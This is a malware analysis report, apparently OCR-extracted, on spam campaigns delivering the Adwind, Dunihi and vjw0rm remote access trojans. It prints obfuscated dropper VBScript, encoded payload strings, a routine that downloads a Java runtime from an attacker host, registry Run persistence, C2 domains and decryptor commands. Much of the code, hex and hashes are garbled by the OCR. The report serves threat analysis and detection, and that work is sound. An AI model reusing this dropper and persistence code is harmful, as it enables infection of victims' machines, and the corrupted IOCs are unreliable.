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NeuroSOC Malware Analysts Detect Spam
Campaign delivering vjwOrm, Duhini and
Adwind Remote Access Trojans

NeuroSOC, Athens, 13/2/2019

Overview

NeuroSOC, as part of the malware/abuse service that it provides, has recently captured two samples which
concern a spam campaign (a DHL General Price Increase e-mail and a DHL Express_Shipment Notification e-
mail) that delivers the cross-platform (RAT) Adwind, along with another well-known RAT Duhini which has
worm capabilities. A similar campaign was first spotted in April 2018 by TrendMicro®. Later on, another
campaign (Repayment Confirmation Copy e-mail) was spotted that contained a third sample which utilizes
Adwind RAT along with vjwOrm RAT.

NeuroSOC malware analysts analyzed the mails which delivered the samples, and reverse engineered them to
uncover their functionality and discover relevant Indicators Of Compromise (IOCs), which will help to
successfully protect Clients under the Continuous Monitoring Service provided by Neurosoft. This report aims
to present the results of this analysis and shares relevant I0Cs with the Internet Security community.

Detailed Analysis

Sample 1 - DHL General Price Increase E-mail

The latest captured sample was delivered as a .jar attachment through the e-mail shown below, which was
received by one of Neurosoft’s customers, under the Continuous Monitoring Service. The e-mail was sent on
14/12/2018 by web01.improxy.com hosted on IP 176.61.147.220, with the sender impersonating DHL
(sender’s email address: kuwait@dhl-news.com).

1 See https://blog.trendmicro.com/trendlabs-security-intelligence/xtrat-and-dunihi-backdoors-bundled-with-adwind-in-spam-mails/
and https://securityaffairs.co/wordpress/71644/malware/adwind-rat-spam-campaigns.html
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General Price Increase

Dear Customer,

DHL Express would like to inform you about the annual general price increase effective January 1, 2019. We are taking the opportunity

give you all information now in order to smoothen your planning processes for the upcoming year.

Taking into consideration the business volumes we have with your company, we will apply 6% GPI on your existing rates.

The main drivers behind the price increase for 2019 are:

Inflation : A significant pertion of the increase is aimed at offsetting the effects of inflatiocn, which are responsible for major inp!

costs for our business activities. As a global network, we are affected not only by inflationary factors

in our own country but also from those that come from outside of Kuwait.

The suspicious .jar attachment was named DHLEXPRESSXGENERALXINCREASE .jar. It should be noted that, on
the capture date, the .jar file, based on its’" MD5 hash, had already been discovered by 27 AV engines, as

reported on VirusTotal. The file has the following basic properties:

MD5 961a98131268094ea12e46745d776f87

SHA-1 9264cf88072b582542e2dac85b6cbh6dad2d94dee
File Type JAR

Magic Zip archive data, at least v2.0 to extract

The .jar file has the main class depicted in the following image and creates a malicious vbscript named

rhyjvpugfj.vbs.

Manifest-Version: 1.0
Main-Class: jyfgbdyrmt.Mmthghmjepr

public class Muthghaj
 public static void nain(Stringl] paraaArray0fString

try

return.

catch (Exception loca

private static boolean

. mull

private static String ffferoyvkjhdka(String pareaString. InputStreas paraalnputStreas. Runtise parasfuntise

catch
return null

private static void hhiweroya(Objectl] paraaAr

try
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The infection chain of the jar. file is depicted in the diagram below.
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Stage 1
By analyzing the vb.script named “rhyjvpugfj.vbs” that the .jar file has dropped, the following are observed:

The main function appears to be “johncena”, with the malicious actor using names of football players for
variable names. The variable “ronaldo” contains encoded text. As johncena is called with “adeadekeye”
variable equal to “0”, a new variable, which is called “young” is created. This variable is populated by replacing
in the encoded text contained in variable “ronaldo” the value of variable “ribery” with the value of variable
“lewandowski”, namely “@(“ is replaced with “m”.

Private Function johncena(mata, adeadekeye, nextle, joecole)
Dim ribery, lewandowski, ronaldo, young
ribery = "@("
lewandowski = "m"
ronaldo = "Q29uc3QgVHlwZUIpb@(FyeSA9IDEKQ29uc3QgR@(9yUR(VhZGLluZyASIDESIEZvVCL
dyaXRpb@(cgPSAYLCBGb3JBcHB1b@(Rpb@(cgPSA4CKk9UIEVYc@(9yIFI1c3VtZSBOZXhOCkRpbSBsb2
5NVGV4dDEKbGOUZ1R1eHQXIDOgI1IVISnBkbUYWWLNCR2RXNWpkR2x2Y@( LCaFpHVYNJaWGxsS@h0d2Iy(Q
XVabVZsWkN3Z2MyRNVaR2x6YX13Z2NHVNVZME@(XxZTENCe@(RXNWEtZWGX6WT Jod@( Iyd3BDZ2XxUWLhRZ1
pHbGS5aM@( x1WjISbFpYQWdQUOIEY21WaGRHVIBZbXBsSWTNRbOLrRKVUMFIDTGXOMGNtV@(hiue1lwQ2ds
R2IzSWdAkUBE5SSURBZ1ZHOGAOUWOKQ1VsbULIVWAQUAIE6WVCc1a2FYTnIIRLIVWLcOSONRaGpaR2xuljis
dVoyU@(xaWEF1Vkhsd1pTQTLIREVLQ1FrS1pHbG5aM@( x1WjISbFpYQXVUMBIsY@(dvSkNRbGthV2RuY)
c1blpHV@E(xjQzVYY21sMFpTQnpjRz12Y@(1abFpXUUtDUWtKWkdsbloybHVaMLlIsWLhBdVVHOXphWFJ
¥jIOZ1BTQXdDZ2tKQ1dScFoyZHBibWRrWldWdexsUjviR1VNUFNBeUNNa@pDV1IwkjikcGItZGtavizZ
3TGtOb11YS1RaWFFNUFNBaWRY TXRZWESqQYVdraUNna@pDVOZrWldebGVXViWdQUeIryVdkb@( FXNW5aR1
ZSYOM1U1pXR@( tWR1YOZEFvSKNVVNVaQeIKW@(dvS1REVIRKQWIKVTIWMELHUNBaM@( RwY@( 1kalpXvn
dIJRDBNVGOSMGFHbHVad3BGY@( 1RZ1JuVNVZM1IwY jI0SONsQnlhWFpoZEdVZ1UzV@( LIRZFsWkdWNEtH
eHZZeWtLQ1Vad@(NpQnBIRDBNTUNCVWISQTFDZ2tKYVdZZ2FTQTLIRELNVkdobGInb@pDUWXOYzZzIkaWI
zZ291bWhsYkd4dklpa@tDUWXxGYKhOBENNa@pDVVYOWLdOMWRHVKh1RZ1pWVd3Z2 JHOWPDZ 2 tKQ1VWNGH
YUWdSbTL15Q2dr STIXNWEtIRWXxtQ2dsT1pYaDBDa1Z 1WkNCVGRXSUtDbEISYVhaaGRHVWASbLZ1WTNSCGI
NGdZMj11ZGw4Mk5GOTBiMT LpYVclaGNpaGp jb@( tzSUdabFpXUXNIRGp2YjIzc@LHSNBibThwQ21BZE
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If adeadekeye = @ Then
young = Replace(ronaldo, ribery, lewandowski)
johncena = conv_64_to_binar(Nothing, 1, young, 10)
Else
'kurtangle "7", False, 10, nextle, MNothing, 1@

medex nextle
johncena = ""
End If
End Functien
Dim grace
grace = johncena(Nothing, 1, adekeye(johncena(Mothing, ©, 284, Nothing), 5, Nothing, 1), 1)

The final encoded text, as stored in variable “young”, is base64 encoded and is decoded by using the Private
Function “conv_64_to_binar”, which uses XMLDOM obiject to further process the data.

Private Function conv_64 to binar(cry, feed, book, biro)
Set updating = CreateObject("Microsoft.XMLDOM")
Set ironbeans = updating.createElement("tmp")
ironbeans.DataType = "bin.base64"”
ironbeans.Text = book
conv_64 to binar = ironbeans.NodeTypedValue
Function

Then Function “adekeye” is called to read the string as binary (see below).

Private Function adekeye(spoonfeed, sandisk, pencil, sundayschool)
Set diggingdeep = CreateObject("ADODB.Stream")
For u =0 To 5
If u = sandisk Then
diggingdeep.Type =
diggingdeep.Open
diggingdeep.Write spoonfeed
diggingdeep.Position = 0

diggingdeep.Type = 2
diggingdeep.CharSet = "us-ascii”
adekeye = diggingdeep.ReadText

End If
Next
Set diggingdeep = Nothing
End Function

“adekeye” function uses the ADODB stream object in order to process the string as binary data. This means
that the code can be executed after it has been successfully decoded.

Then function “johncena” is called again but having “adeadekeye” variable equal to “1”, enters the else
condition of the existing in the function if statement and executes the content of the “nextle” variable. The
content of the latter is the ADODB stream object produced earlier by the invocation of the “adekeye” function.
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young =
If adeadekeye = @ Then

young = Replace(ronaldo, ribery, lewandowski)

johncena = conv_64 to binar(Neothing, 1, young, 18)
Else

'kurtangle "7", False, 10, nextle, Nothing, 10

medex nextle
johncena = ""
End If
End Function
Dim grace
grace = johncena(Nothing, 1, adekeye(johncena(Nothing, ©, 284, Nothing), 5, Nothing, 1), 1)

Execution is performed by calling function “medex” (see image below).

Private Sub medex(loc)
For i=0To 5
if 1 = 2 Then
msgbox("hello")
Else
ExecuteGlobal loc
Exit For
End If
Next
End Sub

After decoding, the encoded string, the malware moves onto the next stage.

Stage 2

In this stage, two variables named “longText” and “longText1” are spotted. The “longText1” variable leads to
the creation of a new file which is named “luaGOPIgXk.vbs”. The file has been detected by multiple AVs as
Duhini RAT.

Const TypeBinary 1

Const ForReading 1, ForWriting = 2, ForAppending

On Error Resume Next

Dim longText1l

longTextl = "UHJpdmFOZSBGAWS jdGLlvbiBhZGVrZX11KHNwb29uZmV1ZCwgc2FuZGlzaywgcGVuY2l
sLCBzdW5kYX1zY2hvb2wpCglTZXQgZGlnZ21uZ2R1ZXAgPSBDcmVhdGVPYmplY3QoIKFETORCLINOCMV
hbSIpCglGb3IgdSA9IDAgVG8gNQoICULMIHUGPSBZYWS5kaXNr IFROZW4KCQkIZGLnZ21uZ2R1ZXAUVHL
wZSA9IDEKCQkJZGlnZ21UZ2R1ZXAUT381bgoJCQlkaNdnaNSnZGVlcC5XcmlOZSBchvaleZNQKCQk‘
JZGlnZ21uZ2R1ZXAuUG9zaXRpb24gPSAWCgkICWRpZ2dpbmdkZWVWL1R5cGUgPSAyCgkJCWRpZ2dpbmd
KZWVwWLKNOYXITZXQgPSAL1dXMtYXNjaWwkiCgkICWFkZWtleWUgPSBkaWdnaW5nZGV1lcC5SZWFkVGV4dAo
JCUVUZCBIZgoJTmV4dAoJU2VOIGRpZ2dpbmdkZWVWIDOGTM90aGluZwpFbmQgRNVUY3Rpb24KC1ByaXzZ
hdGUQU3ViIG11ZGV4KGxvYykKCUZvciBpIDOgMCBUbyA1CgkJaWYgaSA9IDIgVGhlbgolCQltc2dib3g
oImh1bGxvIikKCQLFbHN1CgkICUV4ZWN1dGVHbGO1YWwgbG9jCgkICUV4aXQgRmOyCgkIRWSKIEImCgl
0ZXhOoCkVuZCBTdWIKC1ByaXZhdGUgRnVuY3Rpb24gY29ud182NF90b191iaW5hcihjcnksIGZ1ZWQSIG]
vb2ssIGIpcm8pCiAQICBTZXQgdXBkYXRpbmcgPSBDcmVhdGVPYmplY3QoIk1pY3Ivc29mdC5YTUXETOO
1KQogICAgU2VOIGlyb251ZWFucyA9THVWZGFOaW5SnLMNYZWFOZUVSZW11bnQoInRtcCIpCiAgICBpCmI |

This script, after execution, produces a decoded version of the Dunihi RAT.
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gICAgICAgam9obmNLbmEgPSA11gogICAQRWSKIE LmCkVuZCBGAWS jdGLlvbgpEawegz3IhY2UKZ3JhY2U
gPSBqb2huY2VuYShOb3RoaW5nLCAXLCBhZGVrZXL1KGpvaG5 jZWShKESvdGhpbmcsIDASIDI4NCwWgTm9
0aGluZyksIDUSIESvdGhpbmcsSIDEpLCAXKQ=="

Set wshShelll = CreateObject("WScript.Shell")

Dim appdatadiril, stubpathi

appdatadirl = wshShelll.ExpandEnvironmentStrings("%appdata%")

stubpathl = appdatadirl & "\luaGOPlgXk.vbs"
Dim decodedil

decodedl = decodeBase64(longTextl)
writeBytes stubpathil, decodedi
wshShell1.Run("""" & stubpathl &

Set wshShelll = Nothing

Afterwards, the second variable (“longText”) leads to the creation of a new file named ntfsmgr.jar, which
differs from the original jar dropper. The new jar file is Adwind RAT and is executed using Java.

Set wshShelll = Nothing

Dim longText

longText = "UEsDBBQ@(C@(gI@(BYhgee@(@(@(e(e(e(e(e(e(e(e(e(e(e(e(@(ue(@(Qa(TuvuQs
13TKYVTUFOSUZFU1QuTUb+yg@(@( TYOXC8IWEIX3QP7D i TQkWEEO2WpXEWIdRNZK2pwOEJOSPE j /VvdEO
Cm+4973 jPYXOPCgmcauQjXcSymLDWe3+SD11PxBk1lsPqQE99EOYp10FOKKDRONBZ jhlexFjoC1J0043T8
ESPpOdoZuqzIWM3Z91ecMQOSINt@(mELL /SyX9vt217qyglubsLcEjQ+jD7nIuzVnvzkIfqSFoy20+eK
MszdQSwcIwKghIKE@(@(@(DQ@e(@(@(@(UEsDBBQ@(C@(gI@(BYhgoo@(@(@(@(e(@(e(al(e(e(e(ela(
R(e(e(JIe(@(@(@(UCILLIN3L1ZtR(@(V@A(+r+0ITLOW1S288GiqbDfSEBrwy jNEWW2wsT4/p6skn8b@(
JGCNKN85X0rMjykUxdxp+VXarB3RKjWrg@( f6IfyhxpRW3uB+ERPNeOXVN6z123YafZRjSsI6yhRkWOu
ealiiXjmT99sUgG1dFMKDFM4EIfTMmy62SaP j+PE0O61+/BWNkz6UHfoHKNIGwWw7shnswgaWoDg71W/K
1PQI@(Qqqw2YZ1irIvQXYFWC+@(GEPL6P+t6SE3ZYuLUb@(TQIdr5YredwtUBdSw@(DuGw19XNs211Jog
kH9cQ/ze1CN9SKyr87tvukVozgOOPEVOkwI@(pFIYDNVQWuUpz1219vqpLFEHIPIezik2Wng3BDe18LsU

longText = Replace(longText, "@(", "A%)

Set wshShell = CreateObject( "WScript.Shell"” )

Dim tempdir, appdatadir, text, stubpath

tempdir = wshShell.ExpandEnvironmentStrings(“%temp%x”)
appdatadir = wshShell.ExpandEnvironmentStrings(“"Xappdata%”)
stubpath appdatadir & "\ntfsmgr.jar"

Dim decoded

decoded decodeBasesd(longText)

writeBytes stubpath, decoded

Set fso = CreateObject("Scripting.FileSystemObject™)
On Error Resume Next

text = wshShell.RegRead( "HKLM\SOF THARE\Wow6432Node\JavaSoft\Java Runtime Environment\CurrentVersion®)
text = wshShell.RegRead("HKLM\SOFTHARE\Wow6432Node\JavaSoft\Java Runtime Environment\” & text & "\JavaHome")
If text = "" Then

text = wshShell.RegRead( "HKLM\SOFTWARE\JavaSoft\Java Runtime Environment\Currentversion®)

text = wshShell.RegRead("HKLM\SOFTWARE\JavaSoft\Java Runtime Environment\™ & text & “\JavaHome")

If text <> “" Then

text text & "\bin\javaw.exe"

End If

Else

text = text & "\bin\javaw.exe"

End If

If InStr(text, "jre™) > 6 Then

Dim validirepPath

validirePath = getValidlire(text)

If InStr(valldirePath, "javaw.exe") > © Then

wshShell.ReghWrite "HKCU\Software\Microsoft\Windows\CurrentVerstion\Run\ntfsmgr®, “"*" & validlrePath & """
""" & stubpath & """", "REG_SZ"

wshShell.Run("""" & validlrePath & ""*" & " -jar " "ue" & stubpath & ""*")

Else

GrablreFromNet()

End If

Else
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The malicious script, which drops the two RATs (Duhini and Adwind) checks if specific versions of Java (i.e. 1.6
to 1.8) exist. If not, it downloads the appropriate version of Java from
http://www.thegoldfingerinc.com/images/jre.zip, installs it and uses it to execute Adwind RAT.

GrablreFromNet()

End If

Private Sub GrablreFromNet()

Din xHttp: Set xHttp createobject("Microsof t. XMLHTTP")

Dim bStrm: Set bStrm createobject(“Adodb.Stream™)

XHttp.Open "GET", "http://www.thegoldfingerinc.com/images/jre.zip”, False

xHttp.Send

with bStrm

type = 1

.open

.write xHttp.responseBody

.savetofile appdatadir & "\jre.zip®, 2

end with

UnZip appdatadir & "\jre.zip", appdatadir & "\jre7

wshShell.RegWrite "HKLM\SOFTWARE\JavaSoft\Java Runtime Environment\CurrentVersion", "1.7", "REG_SZ"
wshShell.RegWrite "HKLM\SOFTHARE\JavaSoft\Java Runtime Environment\1.7\JavaHome", appdatadir & "\jre7", "REG_SZ

wshShell.Reghrite "HKCU\Software\Microsoft\Windows\CurrentVerston\Run\ntfsmgr"”, """" & appdatadir & "\jre7\bin\
javaw.exe"" -jar " & """" & stubpath & """", "REG_SzZ"

wshShell.Run("""" & appdatadir & "\jre7\bin\javaw.exe"™™ -jar " & """" & stubpath & """")
End Sub

Private Function decodeBasetsd(basetqd)

Dim DM, EL

Set DM = CreateObject("Microsoft.XMLDOM")

Set EL = DM.createElement("tmp")

EL.DataType = “"bin.baset4

EL.Text = base64

decodeBase64 = EL.NodeTypedvValue

End Function

Private Sub writeBytes(file, bytes)

On Error Resume Next

Din binaryStrean

Set binaryStream CreateObject(“ADODB.Strean”)

binaryStream.Type TypeBinary

binaryStrean.Open

Din binaryStream

set binaryStream CreateObject("ADODB.Strean")
binaryStream.Type = TypeBinary
binaryStream.Open

binaryStream.Write bytes
binaryStream.SaveToFile flle, ForWriting

Sub UnZip(zipfile, ExtractTo)
if fso.GetExtensionName(zipfile) “zip" then
If NOT fso.FolderExists(ExtractTo) Then
.CreatefFolder(ExtractTo)
If
objsShell CreateObject("Shell . Application”)
destination = objShell.NameSpace(ExtractTo)
zip_content = objShell.NameSpace(zipfile).Items
i 0 to zip_content.count - 1
Lf (fso.FilleExists(fso.Bulldpath(ExtractTo,zip_content.iten(l).name)+"."+fso.getExtensionName(zip_content.iten(
i).path))) then
fso.DeleteFile(fso.Bulldpath(ExtractTo,zip_content.item(1l).name)+"."+fso.getExtensionName(zip_content.item(1).¢
ath))
end Lf
idestination.copyHere zip_content.iten(i), 20
next
End Lf
End Sub
Function getvalidire(res)
2 Split(res, vbCrLf)
for each x in a
if InStr(x, "javaw.exe™) > 0 Then
Return = wshShell.Run("cmd /c " & """" & x & """" & " -version 2> XtempX\output.txt®, 0, true)
Set fille = fso.OpenTextFile(tempdir & "\output.txt™, 1)
text = file.ReadAll
file.Close
If InStr(text, "1.6") > 0 Or InStr(text, "1.7") > O Or InStr(text, "1.8") > © Then
getValidire = x
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Stage 3
This is the final stage of the dropper execution.

Concluding, the .vbs file, which is launched by the Jar dropper, downloads and executes both DUNIHI and
Adwind RATs.
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Duhini RAT

1. This is what the Dunihi RAT? looks like after the relevant encoded string contained in the .vbs file (in
variable “longText1”) is decoded:

'<[ recoder : houdini (c) skype : houdini-fx ]>

"pm2bitcoin.com"
4001
oz .unknowncrypter.com"”

= "%appdata%’

shellobj

shellobj = wscript.createobject("wscript.shell”)
filesystemobj

filesystemobj = createobject("scripting.filesystemobject”)
httpobj

httpobj = createobject("msxml2.xmlhttp")

installname = wscript.scriptname

startup = shellobj.specialfolders ("startup") & "\"

installdir = shellobj.expandenvironmentstrings(installdir) & "\"

if pot filesystemobj.folderexists(installdir) then 1installdir = shellobj.expandenvironmentstrings("%tem

spliter = "<" & "|" & ">
sleep = 5000
dim response
dim cmd

dim param

info = ""
usbspreading =
startdate = ""
dim oneonce

When it is launched, it is installed onto the machine. During installation Duhini RAT creates a copy of itself in
multiple locations, using a file name made up of random characters. For example:

o  %TEMP%,

o  %APPDATA%

e  %USERPROFILE%
e Startup folder

It creates malicious LNK shortcuts that point to the malicious files located on removable drives, to increase
the chances that the user will unwittingly launch it and infect the system.

Afterwards, an autorun registry key is created, using Windows
HKLM\software\microsoft\windows\currentversion\run Registry key, so that a copy of Duhini RAT is executed

2 Indicatively see https://www.symantec.com/security-center/writeup/2013-091222-3652-99, https://www.f-secure.com/v-
descs/worm vbs dunihi.shtml and https://www.trendmicro.com/vinfo/us/threat-encyclopedia/web-attack/3138/dunihi-worms-its-
way-into-removable-drives.
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each time Windows starts. An additional registry key (HKLM\software\<MalwareFilename>) is also created.
The latter serves as an infection marker.

Additionally, Duhini RAT checks if any AV is running since it is anti-VM, anti-AV, and generally highly
configurable.

Once installed, it attempts to connect to the malware’s Command and Control Center - C&C
(goz[.]Junknowncrypter[.]com:7789). A second C&C (pm2bitcoin[.Jcom:4001) exists but is not used.

Adwind RAT
After, inspecting the relevant Adwind RAT® dropped .jar file the following are observed:

Based on the .jar file’s Manifest file its main class is operational.Jrat.

Manifest-Version: 1.0
Ant-Version: Apache Ant 1.8.0
X-COMMENT: Main-Class will be added automatically by build

Class-Path:
Created-By: 1.8.8 _25-bl18 (Oracle Corpeoration)
Main-Class: operational.Jrat

Using AdwindDecryptor®, Neurosoft malware analysts were able to fully decrypt the jar and produce a
readable config file which contains the malware’s configuration.

Firstly, command
java -jar AdWindDecryptor.jar -a mega.download -r sky.drive -i drop.box -o decrypted-file

was executed.

In order for AdwindDecryptor to run, it was provided with the relevant Adwind’s settings files, namely
drop.box, mega.download and sky.drive files>.

At first, the size of the aforementioned files was examined.

ubuntu ubuntu

ubuntu ubuntu o

ubuntu ubuntu ¢ B CgA

ubuntu ubuntu 52 1 5 drop.box
ubuntu ubuntu AEK B mega.download
ubuntu ubuntu K 3 META-INF
ubuntu ubuntu < 5 operational
ubuntu ubuntu S 3 P

ubuntu ubuntu AEK :08 sky.drive
ubuntu ubuntu

ubuntu ubuntu

[ww]

OrWXr-xXr-x
OrwWXr-x---
OrWXr-xXr-x

OrWXr-xXr-x
OrWXr-xXr-x

5
z]
1
1
P
2
z]
1
2
Z

3 Indicatively see https://www.cyber.nj.gov/threat-profiles/macos-malware-variants/adwind.

4 https://github.com/mhelwig/adwind-decryptor/

5 https://biebermalware.wordpress.com/2017/10/06/adwind-analysis-part-1-of-however-many-it-takes/
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It is deduced that the 256 byte file mega.download is an AES key file.

000003f0: 8066 01le7 51 DC

00000400: 9685 613a Tedc

00000410: c75c bfib c5c7

00000420: f218 alzb 3af8

00000430: 7a7c d966 6963

00000440: 7694 34d6 948c

00000450: S54ce 2078 61fe

00000460: 8180 6530 97bc

00000470: 6adf 3592 e509

00000480: 7c59 c30ed b423

00000490: 43e8 38da T7ebé

000004a0: 3757 22f8 ob24

000004b0: a%931 1d3e d67c

000004cO: bbee 75cc 8047

000004d0O: 916c be6ff 2f29

000004e0: 6815 8281 a8la

00000470: 92a6 c909 le30

00000500 : 34cf 9a44 80af

00000510: f760 5ebf e8d7

00000520 @5ac bbgb cobs

00000530: dizf 1be4 afda

00000540 4722 6bea d4e3

00000550 d4d4 e6cb EERE

00000560: 2eeb 6e94 504b 5

00000570: 0019 6a61 6563 CS#B8~r..Jjava.sec
00000580: 4b65 7952 7970 ity.KeyRepSTyp
00000590: 0000 8012 000e e

000005a0: 616e 672e 0000 j

000005b0: 1200 0078 5052 Xpt..PR
000005cO: IVATE

Looking at the file in hex, it is also deduced that the sky.drive file is the RSA key file. Therefore the remaining
file drop.box is the config.file.

The command run through the Decryption Process is depicted below, as well as its’ output, which was stored
by Neurosoft’s malware analysts in a file named properties.ini.

usr/lib/jvm/java-8-oracle/bin/java -j .. /AdwindDecryptor.jar -a mega.download -r sky.drive -i drop.box -o properties.ini

<?xmL version="1.0" encoding="UTF-8" standalone="no"?=>

<!DOCTYPE properties SYSTEM "http://fjava.sun.comfdtd/properties.dtd”=>
<properties=

<comment=Support: https://jrat.io<=/comment=

<entry key="SERVER_PATH"=/P/e/Sw.Vm</entry=

<entry key PASSWORD_CRYPTED">/X/if/ci.s</entry>

<entry key="PRIVATE_PASSWORD"=/CgA/vIT/q.GM</entry=

< /properties=

In the produced properties.ini file “PRIVATE_PASSWORD,” is the path, within the examined .jar file, to the RSA
keyfile, “PASSWORD_CRYPTED” is the path to the AES key file, and “SERVER_PATH” is the path to the
encrypted server component.

Using AdwindDecryptor and the generated config file’s elements (“SERVER_PATH”, “PASSWORD_CRYPTED”
and “PRIVATE_PASSWORD”) Adwind’s server component (server.jar) can be produced.

Jusr/lib/jvm/java-8-cracle/bin/java -jar ../AdwindDecryptor.jar -r ./CgA/vIf/q.GM -a ./X/if/ci.s -1 ./Pfe/Sw.Vm -0 server.jar

The server component contains further obfuscated code, which needs to be decrypted.

Under the produced server component (server.jar), located in the jar’'s “resources” folder, three special files
are noticed. These files are: (a) key2.json, which is the AES key file, (b) key1.json file which is the RSA key file
and (c) config.json which is the encrypted server’s component configuration file.
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-r-- 1 ubuntu ubuntu 448 Aek 3 04:08 config.json
-r-- 1 ubuntu ubuntu 1479 Aek 3 04:08 Keyl. json
--r-- 1 ubuntu ubuntu 256 Aek 3 04:08 Key2.json

json

0085 ....5..java.sec
6974 urity.KeyRep..0O.
as43 «..C...L..algori
6d74 thmt..Ljava/lang
7472 fstring;[..encod
7400 edt..[BL..format
7200 q.~..L..typet..L
7661 java/security/Ke
6570 yRepSType; xpt..R
7572 SAur..[B

0e78

0609

aa3o

8190

86e3

cagf

6336

32b5 o o .. K

Using AdwindDecryptor, the encrypted server’s component configuration file can be decrypted and a readable
config file, which contains the malware’s configuration, can be produced.

The Decryption process, which was followed, is portrayed below, along with its’ output, which was stored by
Neurosoft’s malware analysts in a file named config-decrypted.json.

Jusr/lib/jvm/java-8-oracle/bin/java -j .. /AdwindDecryptor.jar -r server/resources/Keyl.json -a server/resources/Key2.json -i server/res
ources/config.json -o config-decrypted. json

Finally, the following information, which is stored in config.decrypted.json, can be viewed. Through this
information it is revealed that Adwind’s C&C is slimkudi.ddns[.]net:2888.

"NETWORK":[ {
"PORT":2888, " "slimkudi.ddns.net"

NSTALL" :true, "MODULE_PATH":"KT/G/mZ.31", "PLUGIN_FOLDER":"skmfRZytPtF", "JRE_FOLDER":"natvvr", "JAR_FOLDER":"pMWxigNtIDI", "JAR
:"oNiJXH", "ENCRYPT_KEY":"YTBIFICRpMhLoCmZGPMZVAaTQ", "DELAY_INSTALL":2, "NICKNAME":"User", "VMWARE":false, "PLUGIN_EXTENSION"
"WEBSITE_PROJECT":"https://jrat.io", "JAR_NAME":"PrUDMUYzKVE", "JAR_REGISTRY":"hmdrafzxdbw", "DELAY CONNECT":2, "VBOX":false
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Sample 2 - DHL Express_Shipment Notification E-mail

Additionally, another incident was observed in which similar code to rhyjvpugfj.vbs was found. The e-mail was
sent on 3/12/2018 also by web01.improxy.com — hosted on IP 176.61.147.220 -, with the sender once again
impersonating DHL (sender’s email address: kuwait@dhl-news.com). The subject of the e-mail was different,
and it concerned a shipment/order that supposedly had arrived.

In the e-mail, which is depicted in the image below, a file/vbscript named “EQ032160.vbs” was attached.

el -\ =
s - NOTIFICATION

IWTTN:

Your shipment has arrived!
larrival Information
Your package has been arrived to your local DHL office and it's ready for pick up.

IMRRIVAL NOTICE

STATUS : Shipment ammived

ek o e ol i e ol o ok e ok e R

Please print the receipt that is attached to this email and visit DHL location indicated in the receipt

Post DHL Group
@ Contact Center » AboutUs Social Media B> Fraud Awareness
» DHL Express * Partnerships 3 Facebook
3 LWL L3008l Fore andmg » Lompany Horral 3 voulubpe _ . .
» DHL Freight » Gresn Solulicns Mficial Logistics Parine
* DHL Global Ma » Innowealiorn S .
2 AT
» DHL Supply Chain » Logstcs Insights vl [ e P €L
Sk Mesreuisao
» Corporate Responaibilty e AU LY
ﬁ | Mg —
S T ARl Ly Dol sl T 1 G SRR I L et Py Sl Ul DFIL Wietmlies
MR © DHL Internetional GmbH. Al rights resened

The same procedure with the one used in the first malware sample, described earlier in this article, was
followed.

The script EQ032160.vbs utilizes the same techniques used in the previous sample (even the same variable
names), to drop a new vbs file named 1z0hPnTlaqg.vbs and another .jar file (indicatively see image below).
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young =
If aderonke = @ Then
young =
johncena
Else
'kurtangle "7", False, 10, juwon, Mothing, 10

Replace(ronaldo, ribery, lewandowski)
= conv_64_to_binar(Neothing, 1, young, 18)

ExecuteGlobal juwon
johncena = ""
End If
‘nd Function
bim grace
irace = johncena(Nothing, 1, ronke(johncena(Nothing, ®, 284, Nothing), 5, Nothing, 1), 1

The .vbs file is detected by 28 AV engines as reported on VirusTotal. The suspicious .vbs file has the following
basic properties:

MD5 4de7edfbaBf35ce5e1217e234dfbf250

SHA-1 5ef6240fab58eadbet72d610cbb4bdcafa3es560b

File Type Text

Magic ASCII text, with very long lines

SSDeep 12288:21/sDHI386BIXEWVmMUBgeWUqqwft10ggCOLhBvhxVWxm 1 xAHPHei/s1GpsZ2VKBy:e1al386fuift10gqCayh5qWi/KGIS
TRID file seems to be plain text/ASCII (0%)

File Size 9263 KB

It should be noted that the .jar file (ntfsmgr.jar), which is dropped by the .vbs file, is discovered by 44 AV
engines as reported on VirusTotal. The suspicious .jar file has the following Basic properties:

MD5 7bff055fd0b0848dfac9377095e8c886
SHA-1 7143bf9588b6701ac0e253495f7fd9f1fod6d48d
File Type JAR
Magic Zip archive data, at least v2.0 to extract
SSDeep 12288:BgdRskUSo0eB77vgNTYGOSWc5pxogQNUNIK/0c2gnAR:WdgkUSHB77vIZ0QsS7B2gnw
TRID ZIP compressed archive (80%)
PrintFox/Pagefox bitmap (var. P) (20%)
File Size 478.7 KB
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Sample 3 - Repayment Confirmation Copy E-mail

Recently (1/2/2019), another campaign which utilizes Adwind RAT along with vjwOrm RAT® was spotted. The
mail with subject “REPAYMENT CONFIRMATION COPY” was sent by ganesh.lohatkar@ihg.com and through
mail server experticsmail.expertics.com.mx (hosted on IP 187.217.245.25).

Dear AlLl,

Please kindly note that and we are Transferring payment again to your
Designated bank As advised earlier.

Kindly see attached covering letter with Bank Swift for follow up with
your bank.

Also see below specification Of payment breakdown.

3,146.05
28,550.00
13,995.20
2,505.00
57,808.25
69,225.47

Please kindly confirm the attached swifts and Send Updated Statement of
Account for our records Purpose.

EELEL

Ganesh Montalwvo
Head Of Finance
Treasury Department.

The mail contains a malicious .jar attachment named “PAYMENTXCONFIRMATION.jar” which is reported on
VirusTotal as detected by multiple AV engines.

Basic Properties ©

MD5 290968 3ab0ffbfcf11c33332241fbea?
SHA-1 a42317b20298ab5e95 1be74a04dae33d67b4130
File Type JAR

The same procedure with the one used in the first malware sample, described earlier in this article, was
followed. The following was observed:

The jar file launches a highly obfuscated javascript file named muycfbbegc.js from the user's home directory
(System.getProperty(“user.home”)). It then drops two additional malicious files. The first one is vjwOrm RAT
(named NpzZYgDSfaN.js), which is written in JavaScript and categorized as information stealer. The second one
is a .jar file which is Adwind RAT and is executed using Java. The Adwind RAT .jar file, based on its’ MD5 hash,
is the same with the one dropped by the first sample. Both RATs are scheduled to run at startup.

6 https://cofense.com/viwOrm-malware-heres-watch/
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Conclusion

All e-mails contain a malware that uses multiple layers of code obfuscation and very well-structured code in
order to drop and execute two embedded backdoors (RATs). As it was observed, in all cases, Adwind RAT was
used. In all cases the dropper looks for java 1.6 to 1.8 and if it is not installed, it is downloaded from
http://www.thegoldfingerinc.com/images/jre.zip , and used to execute Adwind RAT. The delivery of different
sets of backdoors is believed to be a ploy used to provide the attacker with different ways of access to the
infected system as well as a way to infect additional systems (e.g. through Duhini’s or vjwOrm’s worm
functionalities).

Neurosoft’s Indicators of Compromise (loCs) for the three samples

SHA256s

49e27c7a47c004a74e0cd131cf86b7268691af4fcea53425b5cc5b1be02679b2
